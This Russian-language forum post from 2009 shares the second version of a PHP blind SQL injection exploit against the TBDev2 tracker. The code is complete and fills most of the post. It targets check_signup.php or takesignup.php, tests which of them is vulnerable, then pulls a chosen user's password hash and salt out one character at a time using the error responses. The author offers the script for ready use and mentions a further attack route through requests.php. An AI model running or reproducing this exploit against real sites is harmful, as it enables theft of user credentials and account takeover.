Показать сообщение отдельно

  #102  
Старый 27.04.2009, 01:30
Rostov114
Познающий
Регистрация: 05.09.2008
Сообщений: 33
С нами: 9305379

Репутация: 29
По умолчанию


Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.

Естественно перед этим происходит проверка на уязвимость обоих методов.

PHP код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function 
send_xpl($url$xpl$type){
    global 
$id;
    
$u=parse_url($url);
    
    switch(
$type)
    {
        case 
'takesignup':
            
$data  "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
            
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
            
$req  "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
        break;
        case 
'check':
            
$data "action=email&email={$xpl}";
            
$req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
        break;
    }

    
$req .= "Host: ".$u['host']."\r\n";
    
$req .= "Content-Length: ".strlen($data)."\r\n";
    
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$req .= "Connection: close\r\n\r\n";
    
$req .= $data;

    
$fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
    
fwrite($fs$req);
    while (!
feof($fs)) {
          
$res .= fread($fs8192);
    }
    
fclose($fs);
    return 
$res;
}

function 
xpl($field$condition$pos){
    global 
$id;
    
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+  users  +where+id=$id),$pos,1))$condition,'1',(select+1+un  i  on+select+2))+--+ @ukrnet.ua";
    return 
$xpl;
}

function 
cond($url$field$cond$pos$ch) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos), $type)))
        return 
1;
    else
        return 
0;

}

function 
isVulnerable($url) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'check')))
    {
        echo 
"File check_signup.php absents or not vulnerable.\r\n";
    }
    else
    {
        
$type 'check';
    }
    
    if(!
$type)
    {
        if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'takesignup')))
        {
            die( 
"Exploit failed: Target is not vulnerable." );
        }
        else
        {
            
$type 'takesignup';
        }
    }

}

function 
getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }
}

if(
$argc<2)
{
echo 
"==================\r\n";
echo 
"Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo 
"==================\r\n";
die();
}
global 
$type;
$url=$argv[1];
$id=$argv[2];

echo 
$url.":".$id."\r\n";

isVulnerable($url);

echo 
"Trying to get passhash: ";
for(
$i=1;$i<=32;$i++){    
    
$c getChar($url"passhash"$i47103);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";

echo 
"Trying to get salt: ";
for(
$i=1;$i<=20;$i++){    
    
$c getChar($url"secret"$i);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";


?>
= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.

Последний раз редактировалось Rostov114; 27.04.2009 в 01:54..
 
Ответить с цитированием